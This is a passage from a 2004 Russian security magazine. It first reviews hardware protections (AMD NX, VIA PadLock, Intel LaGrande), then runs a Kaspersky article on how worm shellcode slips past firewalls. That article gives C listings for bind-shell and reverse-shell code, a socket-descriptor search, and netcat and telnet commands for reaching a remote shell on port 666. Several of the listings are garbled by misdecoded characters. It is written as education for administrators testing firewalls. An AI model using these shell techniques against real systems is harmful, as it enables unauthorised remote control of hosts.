о возросшем интересе к проблемам регулирования Интернета не только со стороны государств, но и со стороны таких серьезных международных организаций, как ООН и Евросоюз. Это уже не просто расширение слежки за интернет-трафиком со стороны спецслужб различных государств, а создание отдельных государственных организаций, целью которых является разработка рекомендаций по законному использованию Интернета, выработка методик расследования правонарушений, защита интересов большого количества участников интернет-рынка. Общественное мнение уже формируется в сторону необходимости принятия принципиально новых решений для внесения изменений в регулирование работы глобальной сети Интернет. Решение второй проблемы в практическом плане продвинулось намного дальше. Для повышения уровня безопасности персональных компьютеров уже имеются конкретные как теоретические разработки, так и аппаратнопрограммные решения различных сообществ и фирм-производителей. В данной статье приводится перечень и краткое описание реализаций уже появившихся на мировом рынке и тех, которые будут представлены в ближайшее время.

Решение Execution Protection компании AMD Технология Execution Protection была разработана компанией AMD (http://www.amd.com/). Ее элементами являются процессор AMD64 и Windows XP Service Pack 2, выход которого планируется в середине 2004 года. Execution Protection была создана для того, чтобы противодействовать атакам определенных видов вирусов. Расширенная технология защиты от вирусов AMD в сочетании с Data Execution Prevention компании Microsoft, включенной в состав Windows XP SP2, решают задачи защиты от атак, эксплуатирующих достаточно распространенный тип ошибок – выход за границы буфера (buffer

№5(18), май 2004

overrun), которые использовались, например, в MSBlaster и Slammer. Принцип защиты основан на механизме запрета выполнения процессором любого программного кода, записанного в буфер данных в случаях переполнения. При этом для контроля используется дополнительный флаг NX (Non eXecutive, запрещено исполнение кода из страницы). С помощью указанного флага помечаются границы стека программы. Если переполнение буфера происходит, и данные затирают информацию стека, процессор отслеживает эту ситуацию и выдает ошибку доступа памяти. Таким образом, в случаях, если в памяти компьютера появляется зловредный код, который эксплуатирует ошибку разработчиков приложения с использованием переполнения буфера, то атакующий код не будет активизирован, а при выключении ПК – просто уничтожится. Для решения текущих вопросов безопасности технология Execution Protection является наиболее востребованной рядовыми пользователями компьютеров. По оценкам специалистов более 50% уязвимостей Microsoft Windows могли бы быть локализованы с помощью применения подобных решений. Однако еще раз напомним о том, что технология хотя уже и реализована в процессорах Athlon 64, Opteron, однако реально заработает только на платформе Windows XP после выпуска Microsoft пакета обновления SP2. И все же Execution Protection не является полным решением проблемы buffer overflow. Применение технологии просто не позволяет злоумышленникам эксплуатировать ошибки переполнения буфера с возможностью проведения атак. Без установки обновлений продуктов атаки на такого рода уязвимости будут приводить к аварийному завершению приложения, вызвавшего ошибку. Компания Intel предусматривала ввести аналогичную схему в Prescott. Однако среди характеристик процессора, заявленных производителем, данные о поддержке подробной технологии отсутствуют. Для получения дополнительной информации о технологии Execution Protection желающие могут обратиться к статье С.Озерова и А.Карабуто [5].

Технология EMBASSY от Wave Открытый стандарт EMBedded Application Security SYstem (EMBASSY), был разработан компанией Wave (http:// www.wave.com/technology/embassy.html). Он представляет собой использование специального вспомогательного чипа EMBASSY, содержащего собственный микропроцессор, модуль шифрования, таймер и защищенную память. Особенности включения чипа в архитектуру компьютера позволяют ему полностью контролировать работу PC. При этом имеет место сосуществование двух сред – обычной операционной системы, запускающей и обеспечивающей работу пользовательских приложений, и изолированной и защищенной, обладающей, кроме всего прочего, возможностями безопасного хранения критичных данных (криптографических ключей, цифровых сертификатов, личных данных и т. п.). Чип EMBASSY был применен при разработке аппаратного криптопровайдера EMBASSY CSP (Cryptographic Service Provider) для Windows (со стандартным интерфейсом

63


безопасность Microsoft CSP) в виде модуля, подключаемого к компьютеру с использованием шины USB.

Технология VIA PadLock компании VIA Компания VIA Technologies, Inc (http://www.viatech.com/) сделала уже несколько серьезных шагов в сторону обеспечения гибких решений для быстрой, эффективной и безопасной корпоративной связи в рамках реализации VIA PadLock. Это инициативы Hardware Security Suite и VIA Padlock Security.

VIA PadLock Hardware Security Suite На первом этапе VIA первой в мире включила в разработку x36 процессора (первые версии ядра Nehemiah) сначала генератор случайных чисел VIA PadLock RNG (Random Number Generator), а затем, в последнем ядре C5P Nehemiah (процессоры Eden, C3, Antaur), добавила второй генератор и криптографический блок VIA PadLock ACE (Advanced Cryptography Engine), поддерживающий стандарт шифрования AES (Advanced Encryption Standard). Согласно официальным данным компании Cryptography Research, Inc., полученным в феврале 2003 года, производительность генератора случайных чисел VIA C3 Nehemiah random number generator оценивается в диапазоне 30-50 Мбит/сек для получения необработанных бит (raw bits) и 4-9 Мбит/сек для очищенных бит (whitened bits). Некоторые данные о производительности криптографического модуля процессора VIA C3 1.2 ГГц приведены в трех таблицах, далее по тексту (для сравнения, программная реализация AES на компьютере с процессором Intel Pentium 4 3 ГГц обеспечивает производительность около 200 Мбайт/сек).

VIA Padlock Security 19 марта 2004 года на выставке CeBIT в Ганновере (Германия) было объявлено о выпуске программного пакета VIA PadLock Security, включающего утилиту VIA PadLock SecureLine (SL) Utility и средство программной разработки (SDK). Утилита представляет собой пример реализации защищенного обмена сообщениями и файлами, а SDK может быть использовано разработчиками для того, чтобы создавать новые приложения безопасности, которые решают конкретные нужды клиентов. Пакет VIA PadLock Security полностью совместим со средами семейства операционных систем Microsoft Windows и Linux. VIA PadLock Security работает на любой платформе с x86 процессором, однако максимальная производительность достигается при использовании аппаратных возможностей процедуры генерации случайных чисел VIA PadLock Random Number Generator и шифрования с использованием алгоритма AES VIA PadLock Advanced Cryptography Engine, встроенных в ядро C5P Nehemiah процессоров Eden, Antaur и C3. Для сводного использования (http://www.viaarena.com/ ?PageID=399) имеются две версии, рассчитанные для работы в Microsoft Windows 2000 или XP и Red Hat Linux 9.0. По заявлениям VIA функциональность VIA PadLock SL может быть легко расширена для реализации защищенных IP-телефонии и видеоконференций. Кроме того, использование VIA PadLock Security позволит решить проблемы производительности для операций шифрования данных жесткого диска, а также их надежного удаления. Любое компьютерное приложение, требующее решения задач конфиденциальности и защищенности (например, электронная почта), может использовать возможности VIA PadLock для генерации надежной ключевой пары (открытый/личный ключ) для защиты данных от модификаций и обеспечения вопросов конфиденциальности.

LaGrande от Intel Решение LaGrande (LaGrande Technology – LT) было впервые представлено Intel в 2002 году на традиционном форуме Intel Developer Forum (IDF). Технология получила свое название в честь американского городка, расположенного в штате Орегон. В основе LaGrande лежит механизм помещения каждого из выполняющихся на компьютере процессов в свою изолированную оболочку. Тем самым разработчики попытались максимально снизить различного рода риски, связанные с несанкционированным доступом к данным и программному коду. Аппаратная часть решения опирается на использование специального чипа, который носит общее название Trusted Platform Module (TPM) и выполнен в рамках открытой спецификации Trusted Computing Group – TCG (с осени 1999 года до весны 2003 года работу в этой области вела организация под названием Trusted Computing Platform Alliance – TCPA) версии 1.2. Технология подразумевает криптографическую защиту обмена данными IDE, USB и PS/2 интерфейсов между всеми компонентами, обеспечивающими взаимодействие оператора с компьютером (клавиатура, мышь, видеоплата). Компьютеры, которые защищены LaGrande, должны содержать, кроме нового элемента

64


безопасность TPM, привычные компоненты, в то же время отличающиеся от тех, которые мы используем в настоящее время (речь идет в том числе о материнской плате, процессоре, BIOS). Поддержка LaGrande официально заявлена Intel в характеристиках недавно представленного на рынке процессора Prescott. Кроме того, в процессоре реализованы возможности еще одной технологии Intel – Vanderpool, обеспечивающей аппаратную поддержку независимой параллельной работы нескольких операционных систем. При этом возможна независимая перезагрузка любой из них. Помимо аппаратных новшеств технология LaGrande для своего использования требует программной поддержки на уровне операционной системы, а также пользовательских приложений. Microsoft планирует реализовать возможности защиты LaGrande, встроив NGSCB (NextGeneration Secure Computing Base, в недавнем прошлом – Palladium) в свою очередную операционную систему Longhorn. Данных о реализации поддержки технологии в UNIX-системах пока нет. Так что желающим увидеть LaGrande в действии придется еще некоторое время подождать.

Подводя итог Представленные в обзоре технологии представляют собой решения, построенные на открытой спецификации Trusted Computing Group – TCG с использованием дополнительного модуля, реализующего (в большей или меньшей степени) функциональность Trusted Platform Module – TPM (исключение – технология Execution Protection). Особенностью спецификации TCG является применение технических подходов, позволяющих решить вопросы изолированного выполнения программ на персональном компьютере и защиты ядра функционирующей системы, определить защищенное хранилище конфиденциальных данных, а также обеспечить повышенную производительность для основных криптографических операций (генерация случайных чисел, создание надежных ключей, шифрование, выработка и проверка электронной цифровой подписи, выполнение операций хэширования). Несложно прогнозировать, что интерес разработчиков средств защиты от несанкционированного доступа, а также различного рода программных решений в области компьютерной безопасности, будет смещаться к использованию возможностей, предлагаемых в рамках открытой спецификации. Наличие в составе группы TCG известных производителей компьютеров и комплектующих к ним, а также программного обеспечения, позволяет обоснованно предсказывать хорошее будущее решениям на основе модуля TPM. Нет сомнения, что коммерческие продукты, в которых реализованы TCG-подходы, найдут свое применение и в государственных системах, критичных к вопросам безопасности, в виде COTS (Commercial-off-theShelf) компонент. В то же время автору неизвестно о проведении независимого анализа самой технологии и сделанных на основе детального изучения выводах. Кроме того, нельзя гарантировать, что каждый из разработчиков не внесет

№5(18), май 2004

при внедрении конкретных решений в технологию свои дополнения, которые расширят функциональность и снизят безопасность системы. В связи с тем, что технология еще «не обкатана», есть вероятность того, что некоторые не учтенные в спецификации моменты могут случайно или под влиянием нюансов закулисной конкурентной борьбы привести к небольшим отличиям в реализациях различных производителей hardware или software (на уровне операционной системы), что повлечет за собой отсутствие переносимости решений разработчиков программного обеспечения прикладного уровня. По мнению некоторых специалистов, технология принесет больше пользы для Windows-систем, и в меньшей степени необходима для UNIX-подобных систем, что связано с принципиальными различиями в архитектурах этих ОС. Широкое применение технологий TCG, кроме вопросов обеспечения повышенных мер безопасности, предоставляет разработчикам дополнительные возможности для применения новых подходов к решению задачи защиты авторских прав. При этом проблемы использования и распространения контрафактного программного обеспечения, а также аудио- и видеопродукции в цифровом формате, особенно для стран бывшего СССР, могут встать весьма остро.

Ссылки: 1. A Security Analysis of the Secure Electronic Registration and Voting Experiment (SERVE). January 20, 2004. http://www.servesecurityreport.org; 2. Хранитель печатей. Р.Матвеенко. http://www.comprice.ru/safe/2003-23.phtml; 3. VIA расширяет инициативу безопасности PadLock с выпуском пакета VIA PadLock Security Suite. Пресс-релиз. http://www.via-c3.ru/press/pr190304_2.shtml; 4. Технологии компьютерной безопасности. Часть 1. Intel LaGrande Technology — архитектура компьютерной безопасности. С.Озеров. http://www.terralab.ru/system/32571; 5. Технологии компьютерной безопасности. Часть 2. AMD Execution Protection – маленькая революция. С.Озеров, А.Карабуто. http://www.terralab.ru/system/32706/; 6. Защита подождет? В. Соболев. Журнал «Мир ПК», №02, 2004 год. http://www.osp.ru/pcworld/2004/02/028.htm; 7. Концепция LaGrande: аппаратная защита одних программ от других. А.Медведев. http://www.ixbt.com/editorial/lagrande.html; 8. LaGrande – технология защиты от внешних посягательств. В.Володин. http://tech.stolica.ru/article.php?id=2003101201; 9. TCG PC Specific Implementation Specification Version 1.1. August 18, 2003. https://www.trustedcomputinggroup.org/downloads/ TCG_PCSpecificSpecification_v1_1.pdf; 10. Trusted Computing Group. Backgrounder. May 2003. https://www.trustedcomputinggroup.org/downloads/ TCG_Backgrounder.pdf.

65


безопасность

ПОБЕГ ЧЕРЕЗ БРАНДМАУЭР ПЛЮС ТЕРМИНАЛИЗАЦИЯ ВСЕЙ NT Первый этап работы над составлением программы – шумиха. Второй – неразбериха. Третий – поиски виноватых. Четвертый – наказание невиновных. Пятый – награждение непричастных. Из фольклора программистов

В настоящей статье рассматриваются различные способы обхода брандмауэров с целью организации на атакуемом компьютере удаленного терминального shell, работающего под операционными системами UNIX и Windows 9x/NT. Здесь вы найдете передовые хакерские методики, свободно проникающие через любой, абсолютно любой брандмауэр независимо от его архитектуры, степени защищенности и конфигурации, а также свободно распространяемый пакет демонстрационных утилит, предназначенный для тестирования вашего брандмауэра на предмет его защищенности (или же отсутствие таковой). Статья ориентирована на специалистов по информационной безопасности и системных администраторов, знакомых с языком Си и имеющих опыт работы с Berkley-сокетами.

КРИС КАСПЕРСКИ 66


безопасность Проникнув на уязвимый компьютер, голова червя должна установить TCP/IP- (или UDP-) соединение с исходным узлом и подтянуть свое основное тело (также называемое «хвостом»). Аналогичной методики придерживаются и хакеры, засылающие на атакуемый компьютер диверсионный эксплоит, срывающий стек и устанавливающий удаленный терминальный shell, взаимодействующий с узлом атакующего посредством того же самого TCP/IP, и в этом контексте между червями и хакерами нет никакой принципиальной разницы (нередко установка backdoor с помощью червей и осуществляется). Однако на пути червя может оказаться недружелюбно настроенный брандмауэр, которые сейчас в моде и без него не обходится практически ни одна уважающая себя корпоративная сеть. Да что там сеть – брандмауэр и на домашних компьютерах уже не редкость. Между тем, слухи о могуществе брандмауэров очень сильно преувеличены и в борьбы с червями они до ужаса неэффективны. Хотите узнать почему? Тогда читайте эту статью до конца!

Что может и что не может брандмауэр Брандмауэр может наглухо закрыть любой порт, выборочно или полностью блокируя как входящие, так и исходящие соединения, однако этот порт не может быть портом действительно нужной публичной службы, от которой нельзя отказаться. Так, например, если фирма имеет собственный почтовый сервер, в обязательном порядке должен быть отрыт 25-й SMTP-порт (а иначе как прикажете письма получать?). Соответственно наличие веб-сервера предполагает возможность подключения к 80-му порту из «внешнего мира». Допустим, что одна или несколько таких служб содержат уязвимости, допускающие возможность переполнения буфера со всеми вытекающими отсюда последствиями (захват управления, несанкционированная авторизация и т. д.). Тогда никакой, даже самый продвинутый брандмауэр не сможет предотвратить вторжение, поскольку пакеты с диверсионным shell-кодом на сетевом уровне неотличимы от пакетов с легальными данными. Исключение составляет поиск и отсечение головы вполне конкретного червя, сигнатура которого хорошо известна брандмауэру. Однако наложение заплатки на уязвимый сервис будет намного более эффективным средством борьбы (случай, когда червь опережает заплатку, мы не рассматриваем, поскольку такие существуют только теоретически). Кстати говоря, брандмауэр и сам по себе представляет довольно соблазнительный объект для атаки (некоторые из брандмауэров имели переполняющиеся буфера, допускающие захват управления). Но как бы там ни было, срыву буфера уязвимой службы брандмауэр никак не препятствует. Единственное, что он может сделать – это свести количество потенциальных дыр к разумному минимуму, закрыв порты всех служб, не требующих доступа извне. В частности, червь Love San, распространяющийся через редко используемый 135-порт, давно и небезуспешно отсекается брандмауэрами, стоящими на магистральных интернет-каналах, владельцы которых посчитали, что лучше слегка ог-

№5(18), май 2004

раничить своих пользователей в правах, чем нести моральную ответственность за поддержание жизнедеятельности всякой заразы. Однако в отношении червей, распространяющихся через стандартные порты популярных сетевых служб, этот прием не срабатывает, и брандмауэр беспрепятственно пропускает голову червя внутрь корпоративной сети.

Ðèñóíîê 1. Ðàñïðåäåëåíèå èíòåíñèâíîñòè àòàê íà ðàçëè÷íûå ïîðòû ïî ðåãèîíàì

Но забросить shell-код на вражескую территорию – это только половина дела. Как минимум еще требуется протащить через все межсетевые заслоны основное тело червя (то есть хвост), а как максимум – установить терминальный backdoor shell, предоставляющий атакующему возможность удаленного управления захваченной системой. Может ли брандмауэр этому противостоять? Если он находится на одном узле с атакуемым сервером и shellкод исполняется с наивысшими привилегиями, то атакующий может делать с брандмауэром все, что ему только заблагорассудится, в том числе и изменять его конфигурацию на более демократическую. Этот случай настолько прост, что его даже неинтересно рассматривать. Давайте лучше исходить из того, что брандмауэр и атакуемый сервис расположены на различных узлах, причем сам брандмауэр правильно сконфигурирован и лишен каких бы то ни было уязвимостей. Самое простое (и самое естественное) – поручить shell-коду открыть на атакованном узле новый, заведомо никем не использованный порт (например, порт 666) и терпеливо ждать подключений с удаленного узла, осуществляющего засылку основного вирусного кода. Правда, если администратор системы не новичок, все входящие соединения на все непубличные порты будут безжалостно отсекаться брандмауэром. Однако атакующий может схитрить и перенести серверную часть червя на удаленный узел, ожидающий подключений со стороны shell-кода. Исходящие соединения блокируются далеко не на всех брандмауэрах, хотя в принципе такая возможность у администратора есть. Но грамотно спроектированный червь не может позволить себе закладываться на разгильдяйство и попустительство администраторов. Вместо установки нового TCP/ IP-соединения он должен уметь пользоваться уже существующим – тем, через которое и была осуществлена засылка головы червя. В этом случае брандмауэр будет бессилен что-либо сделать, т.к. с его точки зрения все будет выглядеть вполне нормально. Откуда же ему, бедолаге, знать, что вполне безобидное с виду и легальным образом установленное TCP/IP-соединение

67


безопасность обрабатывает отнюдь не сервер, а непосредственно сам shell-код, поселившийся в адресном пространстве последнего. Существует несколько путей захвата ранее установленного TCP/IP-соединения (если кто раньше читал мои статьи, датированные годом эдак 1998, то там я называл это «передачей данных в потоке уже существующего TCP/IP-соединения», но этот термин не прижился). Первое и самое глупое – обратиться к переменной дескриптора сокета по фиксированным адресам, специфичным для данного сервера, которые атакующий может получить путем его дизассемблирования. Но такой способ не выдерживает никакой критики, здесь он не рассматривается (тем не менее, знать о его существовании будет все-таки полезно). Уж лучше прибегнуть к грубой силе, перебирая все возможные дескрипторы сокетов один за другим и тем или иным образом определяя, какой из них заведует «нашим» TCP/IP-соединением. Поскольку в операционных системах семейства UNIX и Windows 9x/NT дескрипторы сокетов представляют собой вполне упорядоченные и небольшие по величине целочисленные значения (обычно заключенные в интервале от 0 до 255), их перебор займет совсем немного времени. Как вариант можно воспользоваться повторным применением адресов, сделав re-bind на открытый уязвимым сервером порт. Тогда все последующие подключения к атакованному узлу будут обрабатываться отнюдь не прежним владельцем порта, а непосредственно самим shell-кодом (неплохое средство перехвата секретного трафика, а?). Наконец, shell-код может просто «прибить» уязвимый процесс и открыть публичный порт заново. Как вариант – червь может умертвить атакуемый процесс, автоматически освобождая все отрытые им порты и дескрипторы. Тогда повторное открытие уязвимого порта не вызовет никаких протестов со стороны операционной системы. Менее агрессивный червь не будет ничего захватывать, никого убивать и вообще что-либо трогать. Он просто переведет систему в неразборчивый режим, прослушивая весь проходящий трафик, с которым атакующий должен передать оставшийся хвост. И на закуску: если ICMP-протокол хотя бы частично разрешен (чтобы пользователи внешней сети не доставали администратора глупыми вопросами, почему умирает ping), то shell-код может запросто обернуть свой хвост ICMP-пакетами! В самом крайнем случае червь может послать свое тело и в обычном электронном письме (конечно, при условии, что он сможет зарегистрировать на почтовом сервере новый ящик или похитить пароли одного или нескольких пользователей, что при наличии sniffer не является проблемой). Таким образом, никакой, даже самый совершенный и правильно сконфигурированный брандмауэр не защитит вашу сеть (и уж тем более – домашний компьютер) ни от червей, ни от опытных хакеров. Это, разумеется, не обозначает, что брандмауэр совершенно бесполезен, но убедительно доказывает тот факт, что приобретение брандмауэра еще не отменяет необходимость регулярной установки свежих заплаток.

68

Устанавливаем соединение с удаленным узлом Сейчас мы рассмотрим пять наиболее популярных способов установки TCP/IP-соединения с атакуемым узлом, два из которых легко блокируются брандмауэрами, а оставшиеся три представляют собой серьезную и практически неразрешимую проблему. Для осуществления всех описываемых в статье экспериментов вам понадобится: ! утилита netcat, которую легко найти в Интернете и которая у каждого администратора всегда должна быть под рукой; ! локальная сеть, состоящая как минимум из одного компьютера; ! любой симпатичный вам брандмауэр; ! операционная система типа Windows 2000 или выше (все описываемые технологии прекрасно работают и на UNIX, но исходные тексты демонстрационных примеров ориентированы именно на Windows).

bind exploit, или «детская» атака Идея открыть на атакованном сервере новый порт может «осенить» разве что начинающего хакера, не имеющего реального опыта программирования сокетов и не представляющего, насколько этот способ нежизнеспособен и уязвим. Тем не менее многие черви именно так и распространяются, поэтому имеет смысл поговорить об этом поподробнее.

Ðèñóíîê 2. Àòàêóþùèé çàñûëàåò shell-êîä íà óÿçâèìûé ñåðâåð, ãäå shell-êîä è îòêðûâàåò íîâûé ïîðò N, ê êîòîðîìó âïîñëåäñòâèè ïîäêëþ÷àåòñÿ àòàêóþùèé, åñëè, êîíå÷íî, íà åãî ïóòè íå âñòðåòèòñÿ áðàíäìàóýð

Программная реализация серверной части shell-кода совершенно тривиальна и в своем каноническом виде состоит из следующей последовательности системных вызовов: socket → bind → listen → accept, организованных приблизительно следующим образом: Ëèñòèíã 1. Êëþ÷åâîé ôðàãìåíò shell-êîäà, îòêðûâàþùåãî íà àòàêóåìîì ñåðâåðå íîâûé ïîðò. // ïîðò, êîòîðûé ýêñïëîèò áóäåò ñëóøàòü #define HACKERS_PORT 666 // øàã 1: ñîçäàåì ñîêåò if ((lsocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; // øàã 2: ñâÿçûâàåì ñîêåò ñ ëîêàëüíûì àäðåñîì laddr.sin_family = AF_INET; laddr.sin_port = htons(HACKERS_PORT); laddr.sin_addr.s_addr = INADDR_ANY; if (bind(lsocket,(struct sockaddr*) &laddr, ↵ sizeof(laddr))) return -1; // øàã 3: ñëóøàåì ñîêåò if (listen(lsocket, 0x100)) return -1; ↵ printf("wait for connection...\n");


безопасность // øàã 4: îáðàáàòûâàåì âõîäÿùèå ïîäêëþ÷åíèÿ csocket = accept(lsocket, (struct sockaddr *) ↵ &caddr, &caddr_size)); … sshell(csocket[0], MAX_BUF_SIZE); // óäàëåííûé shell … // øàã 5: ïîä÷èùàåì çà ñîáîé ñëåäû closesocket(lsocket);

Полный исходный текст данного примера содержится в файле bind.c, прилагаемого к статье. Наскоро откомпилировав его (или взяв уже откомпилированный bind.exe), запустим его на узле, условно называемом «узлом-жертвой», или «атакуемым узлом». Эта стадия будет соответствовать засылке shell-кода, переполняющего буфер и перехватывающего управление (преобразованием исходного текста в двоичный код головы червя воинственно настроенным читателям придется заниматься самостоятельно, а здесь вам не тот косинус, значения которого могут достигать четырех). Теперь, переместившись на атакующий узел, наберите в командной строке: netcat "àäðåñ àòàêóåìîãî" 666

или, если у вас нет утилиты netcat:

ствие портов и узлов локальной сети. Допустим, почтовый сервер, сервер новостей и веб-сервер расположены на различных узлах (а чаще всего так и бывает). Тогда на брандмауэре должны быть открыты 25-й, 80-й и 119-й порты. Предположим, что на веб-сервере обнаружилась уязвимость и атакующий его shell-код открыл для своих нужд 25-й порт. Небрежно настроенный брандмауэр пропустит все TCP/IP-пакеты, направленные на 25-й порт, независимо от того, какому именно локальному узлу они адресованы. Проверьте, правильно ли сконфигурирован ваш брандмауэр, и внесите соответствующие изменения в его настройки, если это вдруг окажется не так.

reverse exploit, или если гора не идет к Магомету… Хакеры средней руки, потирая покрасневшие после последней трепки уши, применяют диаметрально противоположный прием, меняя серверный и клиентский код червя местами. Теперь уже не хвост червя стучится к его голове, а голова к хвосту. Большинство брандмауэров довольно лояльно относятся к исходящим соединениям, беспрепятственно пропуская их через свои стены, и шансы атакующего на успех существенно повышаются.

telnet "àäðåñ àòàêóåìîãî" 666

Если все прошло успешно, в окне telnet-клиента появится стандартное приглашение командного интерпретатора (по умолчанию это cmd.exe), и вы получите более или менее полноценный shell, позволяющий запускать на атакуемом узле различные консольные программы. Вдоволь наигравшись с удаленным shell (подробный разговор о котором нас еще ждет впереди), убедитесь, что: ! утилита netstat, запущенная с ключом «-a» (или любая другая утилита, подобная ей), «видит» откровенно левый порт, открытый shell-кодом; ! при наличии правильно настроенного брандмауэра попытки подключиться к shell-коду извне сети не увенчаются успехом – брандмауэр не только блокирует входящие соединения на нестандартный порт, но и автоматически определяет IP-адрес атакующего (конечно, при условии, что тот не скрыт за анонимным proxy). После этого остается лишь вломиться к хакеру на дом и, выражаясь образным языком, надавать ему по ушам – чтобы больше не хакерствовал.

Ðèñóíîê 4. Àòàêóþùèé îòêðûâàåò íà ñâîåì óçëå íîâûé ïîðò N, çàñûëàåò shell-êîä íà óÿçâèìûé ñåðâåð, îòêóäà shell-êîä óñòàíàâëèâàåò ñ óçëîì àòàêóþùåãî èñõîäÿùåå ñîåäèíåíèå, îáû÷íî íå áëîêèðóåìîå áðàíäìàóýðîì

Одновременно с этим упрощается и программная реализация головы червя, клиентский код которого сокращается всего до двух функций: socket и connect, правда IPадрес атакующего приходится жестко (hardcoded) прошивать внутри червя. То есть червь должен уметь динамически изменять свой shell-код, а это (с учетом требований, предъявляемых к shell-коду) не такая уж и простая задача. Ëèñòèíã 2. Êëþ÷åâîé ôðàãìåíò shell-êîäà, óñòàíàâëèâàþùèé èñõîäÿùåå ñîåäèíåíèå #define HACKERS_PORT 666 #define HACKERS_IP "127.0.0.1" … // øàã 1: ñîçäàåì ñîêåò if ((csocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;

Ðèñóíîê 3. Àòàêóþùèé çàñûëàåò shell-êîä íà óÿçâèìûé ñåðâåð, shell-êîä îòêðûâàåò íîâûé ïîðò N, íî âõîäÿùåå ïîäêëþ÷åíèå íà ïîðò N áëîêèðóåòñÿ áðàíäìàóýðîì è çàâåðøèòü àòàêó íå óäàåòñÿ

Впрочем, в жизни все совсем не так, как в теории. Далеко не каждый администратор блокирует все неиспользуемые порты, и уж тем более – проверяет соответ-

№5(18), май 2004

// øàã 2: óñòàíàâëèâàåì ñîåäèíåíèå caddr.sin_family = AF_INET; caddr.sin_port = htons(HACKERS_PORT); caddr.sin_addr.s_addr = inet_addr(HACKERS_IP); if (connect(csocket, (struct sockaddr*)&caddr, ↵ sizeof(caddr))) return -1; // øàã 3: îáìåíèâàåìñÿ äàííûìè ñ ñîêåòîì sshell(csocket, MAX_BUF_SIZE );

Откомпилировав исходный текст демонстрационного

69


безопасность примера (ищите его в файле reverse.c), выполните на узле атакующего следующую команду: netcat –l –p 666

а на атакуемом узле запустите reverse.exe (выполняющий роль shell-кода) и введите IP-адрес атакующего узла с клавиатуры (в реальном shell-коде, как уже говорилось выше, этот адрес передается вместе с головой червя). И вновь терминал хакера превратится в удаленный shell, позволяющий делать с уязвимым узлом все что угодно. Причем, если в отношении «подтягивания» вирусного хвоста все было предельно ясно (голова червя устанавливает с исходным узлом TCP/IP-соединение, скачивает основное тело червя, разрывая соединение после завершения этой операции), то осуществить «инверсный» доступ к backdoor значительно сложнее, поскольку инициатором соединения является уже не хакер, а сам удаленный shell-код. Теоретически последний можно запрограммировать так, чтобы он периодически стучался на хакерский узел, пытаясь установить соединение каждый час или даже каждые несколько секунд, однако это будет слишком заметно, и к тому же атакующему потребуется постоянный IP, которым не так-то просто завладеть анонимно.

Ðèñóíîê 5. Àòàêóþùèé îòêðûâàåò íà ñâîåì óçëå íîâûé ïîðò N, çàñûëàåò shell-êîä íà óÿçâèìûé ñåðâåð, îòêóäà shell-êîä óñòàíàâëèâàåò ñ óçëîì àòàêóþùåãî èñõîäÿùåå ñîåäèíåíèå, áåçæàëîñòíî áëîêèðóåìîå ïðàâèëüíî íàñòðîåííûì áðàíäìàóýðîì

Если уязвимый узел находится в DMZ-зоне («демилитаризованной» зоне – выделенном сегменте сети, в котором локальная сеть пересекается с агрессивной внешней средой, где по обыкновению и устанавливаются публичные серверы), администратор может с чистой совестью заблокировать все исходящие соединения, перекрывая червю «кислород» и одновременно с этим беспрепятственно пропуская локальных пользователей в Интернет. Правда, дверь демилитаризованной зоны практически никогда не запирается наглухо и в ней всегда остается крохотная щелка, предназначенная для отправки почты, DNSзапросов и т. д., однако правильно сконфигурированный брандмауэр ни за что не выпустит пакет, стучащийся в 25-й порт, но отправленный не с SMTP-, а с веб-сервера! Но даже если исходящие соединения и не блокируются брандмауэром, червь все равно не сможет эффективно распространяться, ведь брандмауэр атакующего узла навряд ли пропустит входящее соединение, поэтому дальше первого поколения процесс размножения не пойдет. В любом случае установка новых соединений на нестандартные порты (а уж тем более периодические «поползновения» в сторону узла хакера) так или иначе отображается в логах, и к хакеру в срочном порядке отправляется бригада «карателей» быстрого реагирования.

70

find exploit, или молчание брандмауэра Если в процессе оперативно-воспитательной работы вместе с ушами хакеру не оторвут еще кое-что, до него, может быть, наконец дойдет, что устанавливать новые TCP/ IP-соединения с атакуемым сервером ненужно! Вместо этого можно воспользоваться уже существующим соединением, легальным образом установленным с сервером! В частности, можно гарантировать, что на публичном веб-сервере будет обязательно открыт 80-й порт, иначе ни один пользователь внешней сети не сможет с ним работать. Поскольку HTTP-протокол требует двухстороннего TCP/IP-соединения, атакующий может беспрепятственно отправлять shell-коду зловредные команды и получать назад ответы. Алгоритм атаки в общем виде выглядит приблизительно так: атакующий устанавливает с уязвимым сервером TCP/IP-соединение, притворясь невинной овечкой, мирно пасущейся на бескрайних просторах Интернета, но вместо честного запроса «GET» он подбрасывает серверу зловредный shell-код, переполняющий буфер и захватывающий управление. Брандмауэр, довольно смутно представляющий себе особенности программной реализации сервера, не видит в таком пакете ничего дурного и благополучно его пропускает. Между тем shell-код, слегка обжившись на атакованном сервере, вызывает функцию recv, передавая ей дескриптор уже установленного TCP/IP-соединения, того самого, через которое он и был заслан – подтягивая свое основное тело. Совершенно ничего не подозревающий брандмауэр и эти пакеты пропускает тоже, ничем не выделяя их в логах. Проблема в том, что shell-код не знает дескриптора «своего» соединения и потому не может этим соединением напрямую воспользоваться. Но тут на помощь приходит функция getpeername, сообщающая, с каким удаленным адресом и портом установлено соединение, ассоциированное с данным дескриптором (если дескриптор не ассоциирован ни с каким соединением, функция возвращает ошибку). Поскольку и в Windows 9x/NT, и в UNIX дескрипторы выражаются небольшим положительным целым числом, вполне реально за короткое время перебрать их все, после чего shell-коду останется лишь определить, какое из всех TCP/IP-соединений «его». Это легко. Ведь IPадрес и порт атакующего узла ему хорошо известны (ну должен же он помнить, откуда он только что пришел!), достаточно выполнить тривиальную проверку на совпадение – вот и все.

Ðèñóíîê 6. Àòàêóþùèé çàñûëàåò íà óÿçâèìûé ñåðâåð shell-êîä, êîòîðûé ìåòîäîì "òóïîãî" ïåðåáîðà íàõîäèò ñîêåò óæå óñòàíîâëåííîãî ñîåäèíåíèÿ è ñâÿçûâàåòñÿ ñ óçëîì àòàêóþùåãî, íå âûçûâàÿ íèêàêèõ ïîäîçðåíèé ñî ñòîðîíû áðàíäìàóýðà


безопасность Программная реализация головы червя в несколько упрощенном виде может выглядеть, например, так: Ëèñòèíã 3. Êëþ÷åâîé ôðàãìåíò shell-êîäà, îñóùåñòâëÿþùèé ïîèñê ñîêåòà "ñâîåãî" ñîåäèíåíèÿ // øàã 1: ïåðåáèðàåì âñå äåñêðèïòîðû ñîêåòîâ îäèí çà äðóãèì for (a = 0; a < MAX_SOCKET; a++) { *buff = 0; // î÷èùàåì èìÿ ñîêåòà

}

